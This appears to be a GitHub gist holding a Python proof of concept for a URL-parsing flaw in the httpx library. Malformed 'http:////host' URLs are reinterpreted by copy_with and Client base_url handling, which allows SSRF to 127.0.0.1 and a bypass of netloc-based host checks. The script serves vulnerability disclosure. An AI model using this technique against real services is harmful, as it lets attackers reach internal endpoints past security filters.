Skip to content

Instantly share code, notes, and snippets.

@lebr0nli

lebr0nli/poc.py Secret

Last active May 20, 2022 23:42

Revisions

  1. lebr0nli revised this gist Sep 30, 2021. No changes.
  2. lebr0nli created this gist Sep 25, 2021.
    99 changes: 99 additions & 0 deletions poc.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,99 @@
    import httpx

    url_str = "http:////127.0.0.1:1337/to/path?q=a#test"

    print("#### before calling 'copy_with' ####")

    url = httpx.URL(url_str)

    print("unsplit url:", url)

    print("url.netloc:", url.netloc)

    print("url.path:", url.path) # //127.0.0.1:1337/to/path

    print("url.query:", url.query) # b'q=a'

    assert b"127.0.0.1" not in url.netloc # security check for the PoC

    print()

    print("#### e.g. trying to use 'copy_with' to remove fragment ####")

    url = url.copy_with(fragment=None)

    print("unsplit url:", url)

    print("url.netloc:", url.netloc) # b'127.0.0.1:1337'

    print("url.path:", url.path) # /to/path

    print("url.query:", url.query) # b'q=a'

    print()

    print("#### Some functions which have the same problem when using 'copy_with' ####")

    print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_set_param('a').netloc:",
    httpx.URL(url).copy_set_param("a").netloc)

    print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_add_param('a').netloc:",
    httpx.URL(url).copy_add_param("a").netloc)

    print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_remove_param('a').netloc:",
    httpx.URL(url).copy_remove_param("a").netloc)

    print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_merge_params('a').netloc:",
    httpx.URL(url).copy_merge_params("a").netloc)

    print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test', scheme='https').netloc:",
    httpx.URL(url_str, scheme='https').netloc) # dev only want to change http to https :(

    print()

    print("#### build http request with relative path ####")

    req = httpx.Client(base_url="https://example.com/A?ignore=").build_request("ANY_METHOD", "/B")

    print('req = httpx.Client(base_url="https://example.com/A?ignore=").build_request("ANY_METHOD", "/B")')

    print("req.url.path == '/B'? ans:NO!")

    print("req.url.path:", req.url.path)

    print("req.url.query:", req.url.query)

    print()

    print("#### SSRF if attacker can control 'base_url' in 'httpx.Client' ####")

    url_str = "http:////127.0.0.1:1337/secret?q=a&ignore="

    assert b"127.0.0.1" not in httpx.URL(url_str).netloc # security check for the PoC

    req = httpx.Client(base_url=url_str).build_request("ANY_METHOD", "/index.html")

    print("Possible to fetch 'http://127.0.0.1/secret'? ans: YES!")

    print("request url:", req.url)

    print("What if I check netloc of base_url?")

    if b"127.0.0.1" in httpx.Client(base_url=url_str).base_url.netloc:
    print("Block!", httpx.Client(base_url=url_str).base_url.netloc)

    print("Still possible to bypass the check? ans: YES!")

    url_str = url_str + "/"

    assert b"127.0.0.1" not in httpx.URL(url_str).netloc # bypass 1!

    client = httpx.Client(base_url=url_str)

    assert b"127.0.0.1" not in client.base_url.netloc # bypass 2!

    print("httpx.Client(base_url='http:////127.0.0.1:1337/secret?q=a&ignore=/').base_url", client.base_url)

    req = client.build_request("ANY_METHOD", "/index.html")

    print("request url:", req.url)